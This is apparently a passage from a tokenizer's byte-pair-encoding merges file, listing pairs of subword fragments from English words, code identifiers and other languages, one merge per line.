+Ġl enses +.in i +ĠR are +ĠUb untu +Ġsc ram +ol ation +tit ulo +Every thing +Ġnod ded +icht ig +_const ant +z c +l ift +ĠNot ify +ond o +ĠIN F +(" + +ĠK az +Ġd read +.m apper +le ur +ĠCome y +ĠN B +ic ers +.P ush +ĠH ack +ĠBrazil ian +_pro d +Ġ// ĊĊ +Ġb icycle +Ġun available +Ġadoles cent +bl k +Ġmit ig +_bl ue +ì ĺ +fade In +ĠUtil ities +ĠM N +; k +< style +- status +ind o +Ġinn ings +Ġg j +Ġ|| = +.e u +: Number +Ġcuis ine +ĠURL s +ie k +Ġw ires +ĉ ps +ie g +.m k +so ap +Ġsom etime +Ġst ap +_s eries +.T arget +æ º +.dest ination +OUN TER +R aises +& A +Ġsmart phones +NI Env +.s dk +Ġhelicopt er +Ġim pe +ĠB irth +A U +b readcrumbs +co ords +Ġexplo red +Ġl od +ĠI p +g able +ian e +Ġart ifacts +Box Layout +ا ر +list ener +.c art +ĠH uff +ĠHind u +ĠData Types +ĠDr upal +IGN ORE +Ġoffset s +ĠR TC +- login +æ ® +ĠQ Object +Ġprosec utor +R ock +_ch at +W ay +ì ² +Ġneg lig +Ġd ude +; < +Ġdeleg ates +_f ailed +/ dev +/ work +( New +et able +() " +( Icons +Ġp ork +ĠModel AndView +ĠV IP +ĠK or +m ix +Ġox id +ĠSC REEN +ĠFour th +/ ",Ċ +Ġte e +ĠSte vens +t icks +Ġp ledge +ib bon +ĠLo an +Ġne o +n umpy +ĠShared Preferences +- oriented +ĠLogger Factory +ĠGraph QL +zen ia +" _ +W omen +.c ast +Ġdeliber ately ++ b +ĠAr n +font Size +Ġm aze +Ġbl amed +.m as +} )čĊ +eler ik +Ġsc anning +ĠWork shop +Ġfind en +Ġca ut +UI Font +( return +al in +cast le +//////////////////////////////////////////////////////////////// //////// +Ġincent ive +op ath +b lob +Ġcigaret te +Ġfert il +*/ ĊĊĊ +ĠSh ar +Ċ ĠĠĠĠĠĠĊ +Ġunc ertain +ĠS ton +Oper ations +ĠSp encer +Ġdef in +ĠS olo +on est +·» åĬł +Ġu omo +G ive +Ġdent ro +; padding +ent ai +ĠC ars +Ġenthus iasm +ĠOper ating +S kip +par ation +Ġprotect s +Ġre ver +d g +ĠC incinnati +Ġconsect etur +Ġm uss +employ ed +a uses +ink le +. Values +£ ¼ +lo v +_W ARN +Ġbook mark +ĠAp ollo +. axis +Ġm ét +Ġop ener +Ġtum or +d an +Ġelement ary +Ġsk ipped +ĠK er +as ia +_res p +Ġdem ol +ĠCan adians +Ġt astes +U Integer +Ġ' ${ +.aw s +RO ID +ri ans +M Q +ord able +Ġcous in +Prop agation +(S ession +ph alt +UL D +ĠSc alar +Ġblo ody +Ġ ঠ+.m ask +, q +ĠUn its +Ġcent res +ĠPr im +. ]ĊĊ +ĠSh aw +P rom +ĠTh ought +Check er +_output s +( chan +E INVAL +Ġb ob +_c mp +P ed +Ġmat rices +Ġvrou wen +Ġgenu inely +high light +(d isplay +) != +Ġdel icate +ĠL uther +ĠM iles +Ġuser ID +% = +ate urs +_B UF +---- ---Ċ +imit ives +Ġsh elves +sl ow +_in formation +LE G +W r +.form s +cel and +/ un +: & +.âĢĻ ĊĊ +=" % +Ġpro st +Ġfont size +uc ión +get ic +am t +=" . +Dec or +B rit +Ġ"" ). +Ġfound ing +.File Name +ĠT ier +Ġdisc lose +á m +.s yn +.View Holder +lic ant +_st age +Mon day +Ġdes erialize +t alk +Ġtradition ally +æĢ ģ +Ø ® +LE X +Ġe h +ĉ ROM +Ġ{ })Ċ +Quest ions +nc py +Ġfix ing +к Ñĥ +_ Key +: x +ĠSTR ING +ĠÑĦ ай +ĉ left +ĠBen ch +ell ij +UR RED +ĠDi agram +} catch +/ time +ĠMiss ing +db name +Ġs ore +ĠW alt +ugg ing +rep resent +ĠG S +ne ys +ĉ page +Ġvol can +(b tn +Ġexceed s +Ġ erg +Ġpil ots +ĠS ed +ers ions +Ġpat ron +R V +/ top +. asset +_c ross +. Editor +.t b +Ġwel coming +SC REEN +) findViewById +C oder + ",Ċ +_P in +ues e +Ġover rides +_ ready +Adv anced +Ġop i +-c art +("/ ", +ĠDe b +CR Y +ĠVert ical +ĠO VER +ĠCorpor ate +Ġ"" ; +Ġste pping +e j +Ġaccus ations +Ġor az +_t ail +Ġindu ced +Ġel astic +Ġbl own +, // +Ġbackground s +âĢĻ une +-s dk +Ġset Interval +Ġincent ives +Ġveget able +_ On +exp anded +p ix +_sh ader +ĠSP DX +@ example +ĠW rapper +.Z ero +Pos itive +Ġsp inner +Ġinvent ed +ĠG ates +оÑĤ оÑĢ +Ġcompar isons +è · +.pr imary +data Provider +add itional +ĉ options +s napshot +.set Horizontal +Ġ" {} +ĠFish er +hal ten +< Type +Ġmax Length +ĠM t +Ġê° Ģ +.jet brains +Ġident ifies +Ġflow ing +ĠDisc ussion +ats by +Ġsch w +ught y +Ġr ivers +.un ique +_PH Y +ed ral +( ll +Ġcs rf +pp ers +ü l +ĠEs pecially +port ed +ĠHarr ison +****** */Ċ +Text Color +ìĬ µ +w ire +Ġstatus Code +ĠFin ish +c ence +ĠMcC ain +ĠW or +( await +Ġ) -> +ĠRegister ed +IN ED +k al +par ison +Ġobj eto +V i +mand a +Ġrenew ed +ĠS of +ess el +.nd array +Ġcr ap +ç® ¡ +.ab spath +( up +Ġclear ance +ĠT W +_C OPY +ĠĠĠĠĠĠĠĠĠĠĠĠ ĉ +Ġforest s +Ġarg uably +ĠA SS +he y +am el +_f ore +ĠSou theast +Ġab used +Ġpract icing +aked irs +ä¸ » +_res ources +Ġp ond +.F ixed +Last Error +ĠPsych ology +Ġ" // +! : +Re usable +Ġmens aje +Ġro spy +Ġb our +Ġvar ieties +Ġem path +(( { +_ org +ĠM es +ĠMag ento +IST ORY +Un less +Ġh j +ĠD uty +J un +, size +Ġpaint ings +Ġdisp ens +d art +Ġbehavior al +Ġr pc +cal culate +fr uit +_m m +ĉp thread +Max Length +Ġc urrencies +_cap acity +ĠO z +Ġfire arm +Ġcoeff icient +Ġbankrupt cy +w art +Ġfat igue +AV A +Ġes pa +_p c +ĠQu otes +_L IGHT +ĠT ickets +Ġrel ates +Ġpublish ers +Ġunlock ed +Ġ// ---------------------------------------------------------------- +ĠInterrupt edException +Ġout look +r n +Ġreb els +W ritten +Ġas ian +ot to +Ġ ĉĉĉĉ +_g pu +T xt +.Image View +Ġsu is +_t ables +.Rec yclerView +Ġwhat soever +è ģ +] ++;Ċ +assert True +_ verify +ĠR ivers +Ġ ][ +J et +id ian +S ibling +Ġgen res +.A ccess +OP S +Ġtr ivial +ภª +al en +в ед +ĠS word +Ġscrut iny +(c b +Ġcomm erce +Ġguarante es +_ad v +ĠL ET +rec io +Ġh ilar +Ġback yard +ãĢ ı +Ġillustr ated +/v endor +. Util +Ġw ow +LO Y +ĠMar shal +"> '.$ +ĠB ak +Ġmod ifiers +d ictionary +ĠSt re +m ultiple +")) , +ĠC ort +'] "). +( admin +ĠCre ator +Int ernet +( ms +log y +DECL ARE +ĠMarc us +<< << +ãģ ł +_m y +(in st +Ġsc iences +ND ER +. enter +Ġit u +Ġbeh ave +P an +omb ies +=' < +')) ;čĊ +ĠM ENU +ĠWork ers +.No Error +Ġbind ings +Ġdis abilities +{ \ +ĠM unicip +Ġco res +ur ple +ĠN okia +us ions +ĠF itness +.handle Change +Ġjav ascript +ìļ Ķ +( dec +Ġpack ing +-de pend +Ġtrans cript +z eros +_ alert +? ",Ċ +lib s +± оÑĤ +Ġ| ĊĊ +tr ained +ĠG ent +ĠR ab +x p +_config uration +å¤ © +_ accept +.rec yclerview +: url +ĠMu hammad +Ġprivile ges +_b ank +uk u +w allet +ĠRO OT +Ġenc uent +? family +ĉ position +Ġc g +Ġprec ip +method s +_f ast +in crement +ĠT iger +_OCC URRED +qu ip +ĠH AS +_d om +Ġw reck +b j +Ġd ern +Ġorg ans +. entries +Ġ_ (' +ram ento +ĠJam ie +Ġp unk +IP P +Ġprogram a +Ġatt ain +Ġpro ves +/s ign +Ġanswer ing +Ġl adder +************************ **** +ĠW almart +ĠCONT ENT +duct or +Ġver bal +ĠP ID +c rypto +_CALL BACK +Ġ= ================================ +Ġpot ent +Ġshort s +.U ri +.un iform +; border +ĠW er +Ġhere in +ll a +ĠI hr +P ixmap +l iteral +! )ĊĊ +g eneric +r ust +_script s +ost o +it us +ĠCoal ition +Ġrem ot +de ploy +ĠEag le +ãĢģ ãĢĮ +Ġimportant e +ĉ object +Ġseason al +ne j +aid u +Bind View +ĠSi erra +-b g +Ġmake Styles +[ offset +G ames +Ġhorm one +AR IO +head s +( select +ĠStart ed +@ param +_de cl +_b log +Ġa ño +\ Api +ĠMil waukee +Pro vid +An imated +Ġcool er +ĠSe ed +. Edit +Ï Ħ +ĠT aking +Ġborder Color +-found er +.Logger Factory +Ġ"" ĊĊ +AL T +ĠL ate +EDI ATE +Ġ);ĊĊ Ċ +af a +Ġcancell ation +At om +ĠB irmingham +emp resa +HE MA +asc al +Ġup side +.V ersion +ĠF older +ĠE ight +ĠV intage +ĠApp Delegate +ĠPre vention +.se parator +ST M +( room +gener ator +Ġc attle +ĉ Z +ĠPart icle +' };Ċ +Ġneighb ours +ĠState less +Ġalt itude +Ġsa int +об ав +Ġconv inc +ĠCont ents +Ġje une +(t s +Serial ization +(c ollection +ĠJ azz +ĠD od +ĠR och +ac io +comm ended +DEF INE +.on load +Ġspecial ty +PL ACE +_MO VE +Ġaccount able +Re uters +Ġf icken +Ġde pr +W ow +V oid +.s pace +à¸ Ĺ +Ġt q +ĠP ets +< $ +(C urrent +ber ries +plan ation +Ġlist Of +ĠTh u +ĠPR INT +Ġm ismo +Ġdo i +ch k +ĠUn icode +( role +Ġvir gin +< Point +_RESP ONSE +-h ouse +ĠVenez uela +EM AIL +Ġp úb +_ex ist +B all +.C L +re ferences +ĠBeautiful Soup +ĉ Expect +TH IS +Ñĥ д +b ane +Ġtemp oral +ER IC +et as +Ġrefresh ing +Ġsec ular +@ synthesize +ac cur +Ġn ella +ĠS OL +.p ipe +Ch annels +èĩ ª +Ġinsert ion +á» ĭ +el ia +Ġadjust able +Can ada +ĠI TEM +Ġcur ves +ĠChe ap +let ing +Ġoptim istic +al lo +Ġpolit ician +_down load += edge +ORT H +Ġmodel o +art o +. rotate +Ġs elenium +æĪ ij +_al ias +Ġrenown ed +.' . +Ġc zy +Ġal les +.Com piler +ĠB ass +Conn ector +.R ole +L INK +Ġc riterion +lem etry +Success fully +/p ng +Ġey eb +asp berry +( gr +Ġd angers +Ġcorrect ed +Ġgl ow +Ġelabor ate +ĠB ears +aw ai +=" '+ +Ġpromot ions +Ġmathematic al +Ġ" ` +_Generic Class +ĠChe f +.S ort +table Name +R IC +Ġvolunt ary +ĠBl ade +-e lect +ĠCom bat +ĠAb ility +Ġab dom +Ġd uck +T mp +åħ ¨ +Ġer ase +.P h +ĠDefault s +p artment +_US B +ê te +; ' +Ġp ads +ĠOb amacare +.T otal +Ġdiv ert +Ġcr icket +Ġrecre ational +( red +ĠC le +R U +Ġmist aken +ĠMont ana +Ġstr ive +_sl ider +ĠPl astic +Ġdecor ated +ĠV P +lic o +ĉf alse +Ġpre fs +( \" +_f alse +i endo +Ġ@ $ +B ucket +act ical +ĠZ hang +.c ols +.B inding +Ġw ax +_ST ORAGE +Ġlaw n +Ġr f +.Sc ene +ĠCal culator +.d esign +Ġres il +л ем +E mploy +ĠPr ices +ĠP WM +ag i +.e valuate +ĉ param +Ġbr ass +bb en +Ġinflamm ation +ull ivan +Ġan not +Ġp H +iam eter +ĠB TC +( box +Story board +Ġcl ay +.assert Raises +| string +.App ly +Ġmatch er +und ed +Ġsatisf ying +Ġìł ķ +Render ing +_app ro +ind rome +AN EL +_f ix +br ush +.M atch +Ġsm iling +on aut +S unday +Ġdelet ion +Ġencour ages +P ull +Ġreven ge +Ġqu arry +tr ade +Ġc ables +(d elta +ites pace +Ġf h +.b unifu +Ġvi el +_IN CLUDED +ĠT ail +ad ar +of s +Ġmet als +g om +_method s +Ġn j +.St d +(w in +$ (' +Ġt urtle +ur on +Ġen rolled +ĠH z +ĠBox Decoration +Ġp ont +rel ationship +B i +³ » +Ġmas cul +Ġsh ades +Ġv r +ĠLog ic +Ġa in +ĠD IST +Ġcoll ar +" profile +Generated Value +ĠP ossible +Ġe ines +ĥ ģ +.time out +ĠE c +Ġjer sey +.D ouble +Ġqual ifying +v or +CRE EN +_A pp +_rec v +Ġali ens +It s +E sc +i ator +ĠE clipse +Ġg h +V ict +ĉ html +to o +. const +Ġant erior +ĠW u +(key s +Ġul tr +_p oly +ĠT ap +ĠB ud +A WS +Ġcrash es +_t ot +Cont in +-h anded +alth ough +ภļ +ific ent +Ġde ve +ut ory +ĠW orth +_M S +Ġfloor ing +Ġsell ers +ĠThank sgiving +Ġp ng +Ġval ores +Ġslee ve +Ġfil le +Ð IJ +Ġappoint ments +Ġv im +User Info +BO OST +Ġpos ed +initial ized +.product s +ĠLeaders hip +man uel +' % +em arks +Per centage +(d ist +. avatar +(h Object +ä» Ĭ +_ iff +ic one +; ) +_n il +Ġab ol +е ÑģÑĤ +Ġven ues +.Con vert +! ')Ċ +.B itmap +sk in +_C OLUMN +Re v +G RESS +g ow +Ġw ished +tract s +.assert False +Ġscreens hot +Ġfo is +Com b +Line Width +ĠGr ab +Ġint ensive +ĉ sh ++ ) +.first Name +_PRO CESS +Ġt ilt +it ored +.L OG +Ġb ak +Ġintention ally +.play ers +(c anvas +)) )čĊ +.Pro vider +_P UBLIC +T alk +ĠL iv +ched ulers +Ġl c +ad ic +feature d +.res ources +Full Name +Ġmean while +B uffers +Ġres olver +ĠS AP +_T E +G NU +ĠForms Module +_ wh +ĠS we +.widget s +Ġcabin ets +Ġsus cept +ĠB ott +activ ex +av ar +ant ics +Ġ" =" +_k wargs +Ġgame Object +ĠAng le +.I ter +mar sh +ĠB irthday +ĠC MS +request s +ĠPear l +_E OL +Ġlin ux +( org +_M ouse +.con structor +Ġz d +Ġk icks +art isan +Ġe ax +K n +pon ge +ĠFin land +Ġmet res +ĠAss essment +part ner +/ pre +! ',Ċ +[ Int +Ġos lo +date picker +/ String +op lay +ĠHe brew +, double +Ġtrab al ++" \ +ĉ EIF +/ text +_F IRST +ĠP ete +Ġe go +Ġextr as +P DO +Ġreg ulate +ĠQ Widget +st s +ĠSh ows +ĠN HS +.c ourse +p thread +ĠF uel +.t imes +Ġ ° +Ġstr ides +($ ('# +( words +Ġrhyth m +Ġsp ont +Ġsens ation +Ġsp ike +C losing +页 éĿ¢ +N umeric +Ġbreat he +Ġfin ale +_F ACT +in ion +Ġch ill +Ġform ally +ANG ED +Ġ' :' +ĠпÑĢ Ð¸ +a q +ĠFab ric +(l at +ĠPr incipal +Ġer ro +oc ale +N om +Ġf ost +_C USTOM +.int ellij +ert ools +Ġcl asse +adi ents +Ġfundra ising +EN E +_OPTION S +_ ob +// }Ċ +Ġprote ctions +.se ed +N V +term inal +;; ; +P redicate +Ġì ¶ +Ġbomb ing +G F +Ġch ew +)) ). +qual ified +] ={ +list en +C ENT +d igest +E ast +Ġd iver +Ġend points +Ġe e +Ġcolle ague +Ġdissert ation +_com mit +_D AT +. rc +Ġbre asts +ĠR ug +ĠP il +Contract s +ĠBry an +Web View +Ġconcent rate +ĠIn ner +Ġ' | +std out +_S ub +> -->Ċ +V ol +ĠS SD +)) ), +. Optional +Ġnurs es +Ġor b +_ pe +);čĊ čĊčĊ +pl aced +ess er +Ġther apeutic +Ġwhites pace +Ġa ston +Success ful +Ġpr aised +ĠW es +Ġe ighth +ir al +Ġvrou w +Ġf action +_b ias +Ġw itch +Ġnp c +(s b +ĠRod rig +_b ig +Dep endency +ĠAb raham +ard i +C AR +n os +Ġabund ance +Ġnut rients +in stein +.V ert +ĠI SS +< U +Ġsum s +_h ist +Ġfar mer +ĠA br +Sh ot +ĠBad Request +Ġh ass +ĠR ails +Ġaffili ated +æĿ ¥ +Ġer f +IN F +ĠView Holder +min i +ĠR oth +Ġfaith ful +ĠPhill ips +AND OM +]. [ +_P AY +ĠAr ctic +f aker +D igit +M ale +std err +se ys +Ġ Å¡ +_rem ote +li que +Ġin def +ĠIndust ries +it ra +_p airs +< iostream +Ġsal aries +ik en +.F rame +PL IC +_S PEC +ĠMed iterr +Ġsystem atic +Ġinter rog +Icon Button +se a +int ro +ĠIss ues +enc rypted +Ġintern ationally +Ġsn printf +Ġpast a +ĠBrad ley +_ Status +AL K +_P AD +.l aunch +< select +Ġhar dest +Ġph y +Ġ(( * +-s lide +ĠNob ody +S u +Ġas ÃŃ +close st +_initial izer +Ġsupport er +-g en +Ġt ales +Ġcor p +_f u +s at +ne ighbor +.M igrations +Ġal gun +Ġsin on +.S pec +? ,Ċ +.G L +m ale +Ġmon itors +yl an +-L icense +.m atches +ĠA BS +ĠM ast +ĠW allet +($ ("# +Dir ty +Ġco pe +Ġinterpol ation +ous ed +ĠJ ets +.F LAG +.C ancel +.Event s +ne ver +ĠM Hz +> D +Ġs ervlet +bast ian +Ġ> & +S ID +_cl k +Ġdiv isions +} ',Ċ +Ġd ildo +Ġpar ade +m ajor +Ġab oard +; ++ +Ġf usion +"}, {" +ĠDialog Result +ĉ arr +- em +_n r +(h andler +.N ET +.Xtra Reports +ĠSh ah +ĠB rief +- , +Ġprec io +ĉĉĉ ĠĠĠĠĠĠ +Ġt ant +ĠGrand e +/ xml +_IC ON +ĠR etro +un que +Ġn ag +to Fixed +X L +Ġdecl aring +ĠCon crete +ĠAm azing +ĉprint k +Ġdeb ates +D ATED +Ġaest hetic +emet ery +Routing Module +ĠNash ville +W AYS +Ġw olf +Ġobserv ers +OT A +ans on +Ġe a +Ġgreen house +ĵį ä½ľ +Ġst air +Ġimmigr ant +_app ly +pe are +ĠBloom berg +_PL AYER +Res p +æŃ £ +Cho oser +ĠI Collection +P eter +Er ro +.detect Changes +Map s +Ġs queeze +ĠHom es +weg ian +Ġformat ting +Ġnegot iate +ul d +ĠN ep +ĠQ B +Ġeconom ies +Ġ*/ , +Ġredu nd +ĠA ber +.IsNullOr WhiteSpace +yc led +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĊ +_S h +Ġske pt +Ġre created +Ġget Type +Ġmarg ins +Ġcolon ial +ch arts +// @ +Ġprocess ors +è¯ ´ +b atis +æĦ ı +ator io +mention ed +P atient +Ġpre y +Check box +_x path +.s kip +ĠMorm on +ĠMemory Stream +CRE MENT +Ġk u +m eld +\ Data +ĠK ernel +il tr +éĢ ģ +( profile +Car bon +RO LE +( pl +] *( +.m emory +Ġmed al +Ġadvis or +it ät +Ġh dr +ier ung +ĠProvid es +( alpha +Ġteen agers +- parser +.L atLng +] ()Ċ +Ġfel ony +ĉĉĉĊ ĉĉĉĊ +BO OK +Ġsl ash +Ġclear fix +ĠPro phet +å® ¹ +right ness +-f i +.k ind +ert on +J im +Ġmanip ulate +Ġworks heet +ol in +st ars +Ġart ifact +_EM PTY +ĉm ain +------------- ' ; +Ġexpress ing +ĠI Q +ĠF act +/************************************************************************ *******Ċ +_m ass +)) : +Ġcon dom +Ġcreate State +omet own +Ġir r +Ġ> ( +> B +iter ation +ãĥ ª +Ġshirt s +ount y +-> $ +_S IGN +ĠD ale +Ġj j +E asy +F re +ĠN y +Ġch lor +match ed +ĠG erm +- UA +ĠN athan +educ ation +-y ard +- che +h ouses +r itional +Ġprox imity +Ġdies em +áºŃ p +Ġd rought +.a udio +ĠLe o +Ġfavor able +in ch +ĠD aw +rib ly +_st udent +id able +O VE +Ġlack s +ounc ing +.b usiness +Ġre open +may be +_G LOBAL +Ġdress es +ĠEd wards +ens ible +ĠHard ware +ĠEx cellent +ĠTime Unit +CTION S +Ġsched ules +Ġseg ue +Op ens +am men +- Identifier +Ġst aring +Ġhapp ily +ĠH ob +' _ +Ġ" ); +ament os +et ched +Ġ/> }Ċ +. Users +Ġinterrupt ed +Contact s +Ġreg istro +in burgh +CH A +_ imp +ph is +s ay +Ġretail er +.N ODE +/ maps +_L AST +ĠCh arge +_g uard +Coll ider +ĠStateless Widget +": [" +(" ../../ +iox ide +ĠS und +Ġ'' ; +un set +add Widget +л Ñİ +el les +alk er +A rc +Ġded uct +G UILayout +ĠV illa +Ġfor bidden +_ where +Ġ\ / +ĠT ib +_A X +] čĊčĊ +ĠB ir +Ġb end +ĠMA KE +ĠM ET +Ġfut ures +Ġweight ed +"" "čĊ +Ġauthor ize +(pro gram +}, {" +Ġcoeff icients +ê s +Per Page +ĠBath room +ĠPublish ing +G PL +Ġsub missions +ĠNUM BER +j Äħ +Ġaddition ally +em pre +ĠSh el +ot yp +S olution +Ġth under +_ ec +ĠĊ ĠĠĠĠĊ +ĠF ellow +Ġk ay +Ġnew State +ONT AL +Im plementation +.L ook +Ġ ents +Ġl ors +ĠB IG +f ab +Ġaver aged +ĠFe edback +ĠW ells +Ġm artial +Ġind ul +ĠComm unist +ĠFore x +ĠAgricult ure +" [ +Ġqu ar +ĠK ont +ĉ view +. Bytes +des ktop +ĠM akes +akes peare +.Null able +Ġspot light +V B +ow y +(t orch +tr idge +_b ounds +Ġapolog ize +.add Item +ant d +* );Ċ +, u +(g en +ç» ĵ +re ator +ĠC ord +ou pper +.m etro +Ġ ew +ĠW ORD +.A fter +Ġdet ained +ĠHam mer +ex isting +Ġo st +Ġmon ument +-c ustom +User ID +ĠN om +Ġre jection +(d im +Ġsingle ton +ĉd ie +ari ance +re ports +] != +eld a +Ġpreval ence +_reg s +." . +Ġfemin ist +Code c +Ġ **Ċ +(label s +_M ARK +FA ILED +Ġadminister ed +W N +ĠĠĠĠĠĠĠĠ ĉĉ +Ġn oun +w ig +Ġg otta +Ġr if +- im +ĠPaul o +ĠCommand Type +] ))ĊĊ +-z ero +Tr aining +Ġl ord +_ art +re ddit +C ert +Ġpes o +R ot +Ġend anger +.d r +user Info +un ts +n v +ĠTrail er +-f irst +(m ake +Ġbenef ici +-bl ack +i ÃŁ +Ġund oubtedly +Ġm ex +ĠAnc ient +( as +Ġdes cent +P ick +Ġrep lica +$ obj +ä hr +Ġar rows +ft y +ĠLib ya +ug a +charg ed +T ur +Ġh omic +iss en +ĠF ake +Ġbe ers +Ġsc attered +( Time +UT IL +Ġbureauc r +/pl ain +Ġstick ing +FA IL +ĠC ovid +Th ird +_p resent +ĠPier re +Ġë ª +Ġ[... ]ĊĊ +Pro b +ĠTra ffic +ica o +do ctor +Ġ), ĊĊ +T abs +al u +ï¼ļ âĢľ +Ġinher ent +_N o +rit is +ĠPro of +.b asename +ä¼ ļ +Ġch im +ĠProt ected +c rit +Ġpr one +Ġк он +ĠHero es +Ġan xious +Ġan os +Ġweek ends +Ġs ext +Ġredu cer += UTF +h alf +ĠS aw +.m m +Ġnue va +.current Target +.l ua +_EXT ENSION +ĉ reg +ĠC trl +_ align +accept able +Ġrush ing +fr ac +Ġbo asts +F ive + ± +ĠTem perature +> ): +Ġchar ter +RE ATED +Ġsubject ed +Ġop c +health y +使 ç͍ +ĠScient ific +Ġfra u +ri ages +à¸ Ķ +.in ventory +ation ale +M ad +min utes +>> ();Ċ +ĠEn v +Ġrecord ings +Ġsusp icion +sql ite +ĉ read +ãģ ¦ +Ġwor ries +.put String +ĠSh anghai +( uid +r er +ĠvÃŃ de +") : +Ġmethod ology +Ġк оÑĤоÑĢ +cc c +av ad +Ġindu ction +ĉ Thread +, string +ạ i +neh men +u ition +Ġ* __ +.em f +Ġì ľ +/th emes +ĠN ine +. One +ĠEm bed +Ġf az +u ations +Ġpriv ately +Ġl ing +[ F +ush i +Ġlaunch es +( KEY +G MT +Ġaim ing +pat ible +ĠB iden +i w +ĠD egree +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġ$ ('< +á rios +to UpperCase +ìł ľ +ĠE UR +Ġovers ight +Ġtable sp +Up dates +.m akedirs +Ġhum idity +/ template +Al ways +( IS +_c ert +D ig +Ġunder way +ort on +ĠHur ricane +Ġsp ends +ĠSeg ment +Ġfl ies +ĠT oggle +ĠLyn ch +Ġs enses +ĠK os +set Enabled +ist ically +Ġtest er +Ġadministr ators +Ġtag ged +Ð ĵ +Ġshort cut +ĠRes olution +Ġsuperv ision +ĠAsh ley +Tr acking +ul atory +and el +ist en +Ġun re +(d iff +ANT S +Ġr ider +Ġs Äħ +.S eries +_ orders +ORIZ ONTAL +Ġret ention +ãĢĤ čĊčĊ +Ġdi agonal +ĠC ancellationToken +_ Internal +Ġru in +.Q t +ocr atic +T el +ĠAn swers +m atic +Ġx p +at em +_j obs +_ any +Ġsen iors +Ġland mark +ĠQ List +Ġman eu +ot ify +/ ";Ċ +/ server +ĠPhil osoph +uten ant +( io +h z +Ġauthentic ated +d v +- Compatible +Origin ally +, function +ãĢĤ čĊ +ĠRepresent ative +as ily +irc uit +.d t +(m ath +.M arshal +[ , +ĠC ities +_ turn +| )Ċ +Ġcant idad +al ter +ĉ ui +ĠNe braska +Ġsk irt +.b g +Shared Preferences +( style +Ġg rief +g ew +Ġsaf eg +ol ang +_l ists +ì Ľ +Ġgran ite +Ġhott est +.j dbc +.C ustomer +Ġâī ¤ +Ġwa ar +_sc ene ++' / +ĠJ TextField +Ġse ating +Ġwe ars +Ġ` / +C ases +ĠY outube +ı m +Ġbal con +, G +Meta Data +- price +SC R +Un ity +Ġtr unk +={` ${ +Ġearthqu ake +Part ial +Ġsub st +Ġelim in +=" '. +//* [@ +Ġsuperv isor +vro let +_ article +Ġp ane +b io +Ġmot ors +N M +F rank +Ġon ion +- word +Item ClickListener +Ġb rit +end encies +Com puter +_r unning +( day +- he +(n amed +ĠS ach +о Ñĩ +c ampaign +.Ab stract +(w rapper +.p ay +Ġu w +Ge o +r ails +/ select +icht e +son s +E VENT +Ġal iment +Pro viders +A wait +_INTER VAL +. off +Ġgl uten +_cl oud +Ġw en +.ex tract +ĉ button +/ MM +Part y +Ġdem ographic +_err no +Ġh iking +(' ')Ċ +", @" +Ġw it +r á +olog ie +ĠSt yles +ĠBrowser Module +.Request Mapping +ic ans +P AGE +cre ation +ĠF erguson +ud ed +num bers +ĠGT K +Ġpresent ations +ĠB obby +_s pan +est yle +Ġilleg ally +abel a +Ġbattle field +cap acity +ter ror +] ");Ċ +Ġwar rior +le ader +ĠDB G +ĠRe venue +Ġvig il +Ġcounter parts +( Error +ACT ER +Ġhe eft +Ġselection s +ze ug +t om +-t wo +. ;Ċ +_st atement +ĠA id +ĠV ul +_r gb +Ġpr izes +Ġedit able +ĉ form +ın ı +.de cor +D emo +lic es +Ġen ctype +rat ulations +ĠR OS +_ch ars +ĠJ ahr +part ial +Ñĥ ÑĤ +ĠRe ceive +ĠL ands +AP TER +Ġch opped +.. " +ĠAn aly +ĠU ID +ĠR adeon +ĠB ee +Ġun m +> M +.find all +Token izer +ĠWH AT +Ġs j +D rawing +E ss +ON D +Ĭ ¶ +(p acket +âĢĶ but +Inv ocation +ĠN uclear +? ;Ċ +Ġgrand es +ĠC rypt +rem ark +Ġ'../../ ../../ +Ġin ability +m agic +c ats +Ġsim ulate +: ${ +in flate +Ġen er +: NO +ip les +Ġmer it +ĠR ated +Ġgl ue +/b log +Ġg ren +Ġthr illed +.C H +unc an +ĠPR IMARY +Ġper sec +Ġfe ared +.M IN +ĠThe ater +é Ĵ +ategor ie +æ® µ +Ġappet ite +s quare +ĠAlex and +.User Id +_g t +_ enter +Ġgradu ates +Fragment Manager +Author ize +-N LS +(M y +Ġtri umph +ust ing +_PARAM S +Char acters +(: ,:, +_B UILD +M Hz +Ġwash ed +Ġun cle +Ste ve +ard own + ${ +_confirm ation +Ġtro phy +Work s +ĠElect ronics +ĠMediterr anean +_m etrics +Ġannounc ing +ĠD AY +_pro to +Ġp ear +base Url +ĉĉĉĉĉĉĉĉ Ċ +Ġcoord ination +: N +.an imate +ĠC otton +_h it +â ľ +Ġjet zt +if ter +(f ields +own load +ific acion +.c uda +ĠLi u +> equals +ĠA ce +ÑĢаР¼ +ĠSuper man +ĠGarc ia +Ġarrest s +ag ar +Ġ{} ) +Ġmac ros +rou pe +ê tre +Ġtw isted +str uments +_ (" +_ vertices +ĠTrans ition +и к +[ max +m ind +Ġaccess Token +Ġun le +m us +c op +ĠF actor +Ġcon ced +Ġre tr +.l inalg +-s lider +ob l +_Static Fields +Ġz ombie +s elling +Ġch ap +Ġsh aking +ĠTrans late +ĠAm sterdam +ĠE TH +_EX TERN +k d +_d isc +Ġpreced ing +Ġpri x +Object Name +_mod ified +ard ware +Ġ?> "> +ĠD W +` ${ +Ġ?> ">ĊĊ +Ġspin ning +_p ending +Match ers +. Keys +ĠP V +en us +ant is +Ġdisc ard +Ġh aul +Ġem pir +Ġpath way +Ġo ak +м ен +-ind uced +Ġimp air +ĠCal gary +.is Hidden +d z +_ include +Ġg m +Ġ' (' +P Y +uggest ions +Ġcommod ity +c ro +/ sub +Ġget Instance +ĠLeg acy +ĠK il +B al +( short +In form ++ x +* r +ĠHope fully +or ate +Ġmach en +Ġtreat y +ĠO ri +.p ublic +-h orizontal +Ġtact ic +Ġb ord +w ares +Ġam mo +ĠL ists +Ġequ ations +/ her +ĠNS W +B ounding +_C ollections +Ġav ail +.Drop Down +è ° +Ġh h +Ġl Ãł +.p b +Ġmemor ial +ĠAT TR +Ġexhaust ed +Ġt sp +ĉ redirect +Ġlik ewise +ST ER +L java +Ġcondem ned +oca ust +(str ict +Ġexem pt +Ġs ms +Ġex agger +S YS +Ġl ounge +: ^ +Ġto dd +de b +ator ial +ĠPort er +Ġtu ition +Ġexem 